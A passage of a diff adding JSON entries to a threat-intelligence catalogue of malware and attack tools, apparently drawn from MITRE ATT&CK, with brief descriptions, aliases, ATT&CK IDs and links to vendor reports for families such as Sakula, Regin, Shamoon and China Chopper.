"https://attack.mitre.org/wiki/Software/S0049", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "external_id": "S0049", + "synonyms": [ + "GeminiDuke" + ] + }, + "uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6" + }, + { + "description": "is an exfiltration tool used by APT37. (Citation: FireEye APT37 Feb 2018)\n\nAliases: CORALDECK", + "value": "CORALDECK - S0212", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0212", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf" + ], + "external_id": "S0212", + "synonyms": [ + "CORALDECK" + ] + }, + "uuid": "8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e" + }, + { + "description": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)\n\nAliases: Sakula, Sakurel, VIPER", + "value": "Sakula - S0074", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0074", + "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + ], + "external_id": "S0074", + "synonyms": [ + "Sakula", + "Sakurel", + "VIPER" + ] + }, + "uuid": "96b08451-b27a-4ff6-893f-790e26393a8e" + }, + { + "description": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)\n\nAliases: Agent.btz", + "value": "Agent.btz - S0092", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0092", + "https://securelist.com/agent-btz-a-source-of-inspiration/58551/" + ], + "external_id": "S0092", + "synonyms": [ + "Agent.btz" + ] + }, + "uuid": "40d3e230-ed32-469f-ba89-be70cc08ab39" + }, + { + "description": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)\n\nAliases: Prikormka", + "value": "Prikormka - S0113", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0113", + "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + ], + "external_id": "S0113", + "synonyms": [ + "Prikormka" + ] + }, + "uuid": "37cc7eb6-12e3-467b-82e8-f20f2cc73c69" + }, + { + "description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as \u201cScout\u201d and \u201cNorton.\u201d (Citation: FireEye APT30)\n\nAliases: NETEAGLE", + "value": "NETEAGLE - S0034", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0034", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "external_id": "S0034", + "synonyms": [ + "NETEAGLE" + ] + }, + "uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2" + }, + { + "description": "SLOWDRIFT is a backdoor used by APT37 against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)\n\nAliases: SLOWDRIFT", + "value": "SLOWDRIFT - S0218", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0218", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf" + ], + "external_id": "S0218", + "synonyms": [ + "SLOWDRIFT" + ] + }, + "uuid": "414dc555-c79e-4b24-a2da-9b607f7eaf16" + }, + { + "description": "USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL. (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)\n\nAliases: USBStealer, USB Stealer, Win32/USBStealer", + "value": "USBStealer - S0136", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0136", + "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/", + "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + ], + "external_id": "S0136", + "synonyms": [ + "USBStealer", + "USB Stealer", + "Win32/USBStealer" + ] + }, + "uuid": "af2ad3b7-ab6a-4807-91fd-51bcaff9acbb" + }, + { + "description": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)\n\nAliases: CALENDAR", + "value": "CALENDAR - S0025", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0025", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "external_id": "S0025", + "synonyms": [ + "CALENDAR" + ] + }, + "uuid": "5a84dc36-df0d-4053-9b7c-f0c388a57283" + }, + { + "description": "A Linux rootkit that provides backdoor access and hides from defenders.\n\nAliases: Umbreon", + "value": "Umbreon - S0221", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0221" + ], + "external_id": "S0221", + "synonyms": [ + "Umbreon" + ] + }, + "uuid": "3d8e547d-9456-4f32-a895-dc86134e282f" + }, + { + "description": "Wingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)\n\nAliases: Wingbird", + "value": "Wingbird - S0176", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0176", + "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf", + "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + ], + "external_id": "S0176", + "synonyms": [ + "Wingbird" + ] + }, + "uuid": "a8d3d497-2da9-4797-8e0b-ed176be08654" + }, + { + "description": "is a Trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)\n\nAliases: Nerex", + "value": "Nerex - S0210", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0210", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051515-3445-99" + ], + "external_id": "S0210", + "synonyms": [ + "Nerex" + ] + }, + "uuid": "c251e4a5-9a2e-4166-8e42-442af75c3b9a" + }, + { + "description": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003. (Citation: Kaspersky Regin)\n\nAliases: Regin", + "value": "Regin - S0019", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0019", + "https://securelist.com/files/2014/11/Kaspersky%20Lab%20whitepaper%20Regin%20platform%20eng.pdf" + ], + "external_id": "S0019", + "synonyms": [ + "Regin" + ] + }, + "uuid": "4c59cce8-cb48-4141-b9f1-f646edfaadb0" + }, + { + "description": "AutoIt backdoor is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.\n\nAliases: AutoIt backdoor", + "value": "AutoIt backdoor - S0129", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0129", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "external_id": "S0129", + "synonyms": [ + "AutoIt backdoor" + ] + }, + "uuid": "f5352566-1a64-49ac-8f7f-97e1d1a03300" + }, + { + "description": "POWRUNER is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)\n\nAliases: POWRUNER", + "value": "POWRUNER - S0184", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0184", + "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + ], + "external_id": "S0184", + "synonyms": [ + "POWRUNER" + ] + }, + "uuid": "09b2cd76-c674-47cc-9f57-d2f2ad150a46" + }, + { + "description": "Power Loader is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nAliases: Power Loader, Win32/Agent.UAW", + "value": "Power Loader - S0177", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0177", + "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", + "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" + ], + "external_id": "S0177", + "synonyms": [ + "Power Loader", + "Win32/Agent.UAW" + ] + }, + "uuid": "0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3" + }, + { + "description": "Pteranodon is a custom backdoor used by Gamaredon Group. (Citation: Palo Alto Gamaredon Feb 2017)\n\nAliases: Pteranodon", + "value": "Pteranodon - S0147", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0147", + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + ], + "external_id": "S0147", + "synonyms": [ + "Pteranodon" + ] + }, + "uuid": "5f9f7648-04ba-4a9f-bb4c-2a13e74572bd" + }, + { + "description": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX. (Citation: Aquino RARSTONE)\n\nAliases: RARSTONE", + "value": "RARSTONE - S0055", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0055", + "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" + ], + "external_id": "S0055", + "synonyms": [ + "RARSTONE" + ] + }, + "uuid": "8c553311-0baa-4146-997a-f79acef3d831" + }, + { + "description": "PUNCHBUGGY is a dynamic-link library (DLL) downloader utilized by FIN8. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)\n\nAliases: PUNCHBUGGY", + "value": "PUNCHBUGGY - S0196", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0196", + "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html", + "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + ], + "external_id": "S0196", + "synonyms": [ + "PUNCHBUGGY" + ] + }, + "uuid": "5c6ed2dc-37f4-40ea-b2e1-4c76140a388c" + }, + { + "description": "Matroyshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)\n\nAliases: Matroyshka", + "value": "Matroyshka - S0167", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0167", + "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf", + "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + ], + "external_id": "S0167", + "synonyms": [ + "Matroyshka" + ] + }, + "uuid": "1cc934e4-b01d-4543-a011-b988dfc1a458" + }, + { + "description": "SHOTPUT is a custom backdoor used by APT3. (Citation: FireEye Clandestine Wolf)\n\nAliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi", + "value": "SHOTPUT - S0063", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0063", + "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + ], + "external_id": "S0063", + "synonyms": [ + "SHOTPUT", + "Backdoor.APT.CookieCutter", + "Pirpi" + ] + }, + "uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb" + }, + { + "description": "Orz is a custom JavaScript backdoor used by Leviathan. It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)\n\nAliases: Orz, AIRBREAK", + "value": "Orz - S0229", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0229", + "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "external_id": "S0229", + "synonyms": [ + "Orz", + "AIRBREAK" + ] + }, + "uuid": "06d735e7-1db1-4dbe-ab4b-acbe419f902b" + }, + { + "description": "Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)\n\nAliases: Trojan.Karagany", + "value": "Trojan.Karagany - S0094", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0094", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" + ], + "external_id": "S0094", + "synonyms": [ + "Trojan.Karagany" + ] + }, + "uuid": "82cb34ba-02b5-432b-b2d2-07f55cbf674d" + }, + { + "description": "Kasidet is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)\n\nAliases: Kasidet", + "value": "Kasidet - S0088", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0088", + "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + ], + "external_id": "S0088", + "synonyms": [ + "Kasidet" + ] + }, + "uuid": "26fed817-e7bf-41f9-829a-9075ffac45c2" + }, + { + "description": "CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28) January 2017\n\nAliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp", + "value": "CHOPSTICK - S0023", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0023", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + ], + "external_id": "S0023", + "synonyms": [ + "CHOPSTICK", + "SPLM", + "Xagent", + "X-Agent", + "webhp" + ] + }, + "uuid": "ccd61dfc-b03f-4689-8c18-7c97eab08472" + }, + { + "description": "is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)\n\nAliases: Darkmoon", + "value": "Darkmoon - S0209", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0209", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security%20response/writeup.jsp?docid=2005-081910-3934-99" + ], + "external_id": "S0209", + "synonyms": [ + "Darkmoon" + ] + }, + "uuid": "310f437b-29e7-4844-848c-7220868d074a" + }, + { + "description": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke. (Citation: F-Secure The Dukes)\n\nAliases: MiniDuke", + "value": "MiniDuke - S0051", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0051", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "external_id": "S0051", + "synonyms": [ + "MiniDuke" + ] + }, + "uuid": "5e7ef1dc-7fb6-4913-ac75-e06113b59e0c" + }, + { + "description": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)\n\nAliases: BBSRAT", + "value": "BBSRAT - S0127", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0127", + "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + ], + "external_id": "S0127", + "synonyms": [ + "BBSRAT" + ] + }, + "uuid": "64d76fa5-cf8f-469c-b78c-1a4f7c5bad80" + }, + { + "description": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)\n\nAliases: Elise, BKDR_ESILE, Page", + "value": "Elise - S0081", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0081", + "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + ], + "external_id": "S0081", + "synonyms": [ + "Elise", + "BKDR_ESILE", + "Page" + ] + }, + "uuid": "7551188b-8f91-4d34-8350-0d0c57b2b913" + }, + { + "description": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)\n\nAliases: KOMPROGO", + "value": "KOMPROGO - S0156", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0156", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + ], + "external_id": "S0156", + "synonyms": [ + "KOMPROGO" + ] + }, + "uuid": "7dbb67c7-270a-40ad-836e-c45f8948aa5a" + }, + { + "description": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007. (Citation: Mandiant APT1)\n\nAliases: BISCUIT", + "value": "BISCUIT - S0017", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0017", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "external_id": "S0017", + "synonyms": [ + "BISCUIT" + ] + }, + "uuid": "b8eb28e4-48a6-40ae-951a-328714f75eda" + }, + { + "description": "Uroburos is a rootkit used by Turla. (Citation: Kaspersky Turla)\n\nAliases: Uroburos", + "value": "Uroburos - S0022", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0022", + "https://securelist.com/the-epic-turla-operation/65545/" + ], + "external_id": "S0022", + "synonyms": [ + "Uroburos" + ] + }, + "uuid": "80a014ba-3fef-4768-990b-37d8bd10d7f4" + }, + { + "description": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)\n\nAliases: POWERSOURCE, DNSMessenger", + "value": "POWERSOURCE - S0145", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0145", + "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html", + "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + ], + "external_id": "S0145", + "synonyms": [ + "POWERSOURCE", + "DNSMessenger" + ] + }, + "uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351" + }, + { + "description": "hcdLoader is a remote access tool (RAT) that has been used by APT18. (Citation: Dell Lateral Movement)\n\nAliases: hcdLoader", + "value": "hcdLoader - S0071", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0071", + "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + ], + "external_id": "S0071", + "synonyms": [ + "hcdLoader" + ] + }, + "uuid": "9e2bba94-950b-4fcf-8070-cb3f816c5f4e" + }, + { + "description": "Pasam is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)\n\nAliases: Pasam", + "value": "Pasam - S0208", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0208", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-050412-4128-99" + ], + "external_id": "S0208", + "synonyms": [ + "Pasam" + ] + }, + "uuid": "e811ff6a-4cef-4856-a6ae-a7daf9ed39ae" + }, + { + "description": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)\n\nAliases: Zeroaccess, Trojan.Zeroaccess", + "value": "Zeroaccess - S0027", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0027", + "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" + ], + "external_id": "S0027", + "synonyms": [ + "Zeroaccess", + "Trojan.Zeroaccess" + ] + }, + "uuid": "552462b9-ae79-49dd-855c-5973014e157f" + }, + { + "description": "is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)\n\nAliases: Linfo", + "value": "Linfo - S0211", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0211", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051605-2535-99" + ], + "external_id": "S0211", + "synonyms": [ + "Linfo" + ] + }, + "uuid": "e9e9bfe2-76f4-4870-a2a1-b7af89808613" + }, + { + "description": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to Skeleton Key is included as a module in Mimikatz.\n\nAliases: Skeleton Key", + "value": "Skeleton Key - S0007", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0007", + "http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/" + ], + "external_id": "S0007", + "synonyms": [ + "Skeleton Key" + ] + }, + "uuid": "89f63ae4-f229-4a5c-95ad-6f22ed2b5c49" + }, + { + "description": "Shamoon is malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states. (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016)\n\nAliases: Shamoon, Disttrack", + "value": "Shamoon - S0140", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0140", + "https://www.fireeye.com/blog/threat-research/2016/11/fireeye%20respondsto.html", + "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + ], + "external_id": "S0140", + "synonyms": [ + "Shamoon", + "Disttrack" + ] + }, + "uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3" + }, + { + "description": "FALLCHILL is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)\n\nAliases: FALLCHILL", + "value": "FALLCHILL - S0181", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0181", + "https://www.us-cert.gov/ncas/alerts/TA17-318A" + ], + "external_id": "S0181", + "synonyms": [ + "FALLCHILL" + ] + }, + "uuid": "fece06b7-d4b1-42cf-b81a-5323c917546e" + }, + { + "description": "Briba is a trojan used by Elderwood to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)\n\nAliases: Briba", + "value": "Briba - S0204", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0204", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051515-2843-99" + ], + "external_id": "S0204", + "synonyms": [ + "Briba" + ] + }, + "uuid": "79499993-a8d6-45eb-b343-bf58dea5bdde" + }, + { + "description": "Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)\n\nAliases: Volgmer", + "value": "Volgmer - S0180", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0180", + "https://www.us-cert.gov/ncas/alerts/TA17-318B" + ], + "external_id": "S0180", + "synonyms": [ + "Volgmer" + ] + }, + "uuid": "495b6cdb-7b5a-4fbc-8d33-e7ef68806d08" + }, + { + "description": "TDTESS is a 64-bit .NET binary backdoor used by CopyKittens. (Citation: ClearSky Wilted Tulip July 2017)\n\nAliases: TDTESS", + "value": "TDTESS - S0164", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0164", + "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf" + ], + "external_id": "S0164", + "synonyms": [ + "TDTESS" + ] + }, + "uuid": "0b32ec39-ba61-4864-9ebe-b4b0b73caf9a" + }, + { + "description": "4H RAT is malware that has been used by Putter Panda since at least 2007. (Citation: CrowdStrike Putter Panda)\n\nAliases: 4H RAT", + "value": "4H RAT - S0065", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0065", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + ], + "external_id": "S0065", + "synonyms": [ + "4H RAT" + ] + }, + "uuid": "8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc" + }, + { + "description": "TURNEDUP is a non-public backdoor. It has been dropped by APT33's DROPSHOT malware (also known as Stonedrill). (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)\n\nAliases: TURNEDUP", + "value": "TURNEDUP - S0199", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0199", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.brighttalk.com/webcast/10703/275683" + ], + "external_id": "S0199", + "synonyms": [ + "TURNEDUP" + ] + }, + "uuid": "db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c" + }, + { + "description": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)\n\nAliases: BOOTRASH", + "value": "BOOTRASH - S0114", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0114", + "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf" + ], + "external_id": "S0114", + "synonyms": [ + "BOOTRASH" + ] + }, + "uuid": "da2ef4a9-7cbe-400a-a379-e2f230f28db3" + }, + { + "description": "China Chopper is a Web shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)\n\nAliases: China Chopper", + "value": "China Chopper - S0020", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0020", + "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", + "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "external_id": "S0020", + "synonyms": [ + "China Chopper" + ] + }, + "uuid": "5a3a31fe-5a8f-48e1-bff0-a753e5b1be70" + }, + { + "description": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)\n\nAliases: Wiper", + "value": "Wiper - S0041", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0041", + "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/" + ], + "external_id": "S0041", + "synonyms": [ + "Wiper" + ] + }, + "uuid": "a19c49aa-36fe-4c05-b817-23e1c7a7d085" + }, + { + "description": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)\n\nAliases: Unknown Logger", + "value": "Unknown Logger - S0130", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0130", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "external_id": "S0130", + "synonyms": [ + "Unknown Logger" + ] + }, + "uuid": "ab3580c8-8435-4117-aace-3d9fbe46aa56" + }, + { + "description": "gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups. (Citation: FireEye Hacking Team)\n\nAliases: gh0st", + "value": "gh0st - S0032", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0032", + "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating%20hustle.html" + ], + "external_id": "S0032", + "synonyms": [ + "gh0st" + ] + }, + "uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24" + }, + { + "description": "is a backdoor used by APT37 that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)\n\nAliases: DOGCALL", + "value": "DOGCALL - S0213", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0213", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf" + ], + "external_id": "S0213", + "synonyms": [ + "DOGCALL" + ] + }, + "uuid": "0852567d-7958-4f4b-8947-4f840ec8d57d" + }, + { + "description": "Helminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)\n\nAliases: Helminth\n\nContributors: Robert Falcone", + "value": "Helminth - S0170", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0170", + "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + ], + "external_id": "S0170", + "synonyms": [ + "Helminth" + ] + }, + "uuid": "eff1a885-6f90-42a1-901f-eef6e7a1905e" + }, + { + "description": "CORESHELL is a downloader used by APT28. The older versions of this malware are known 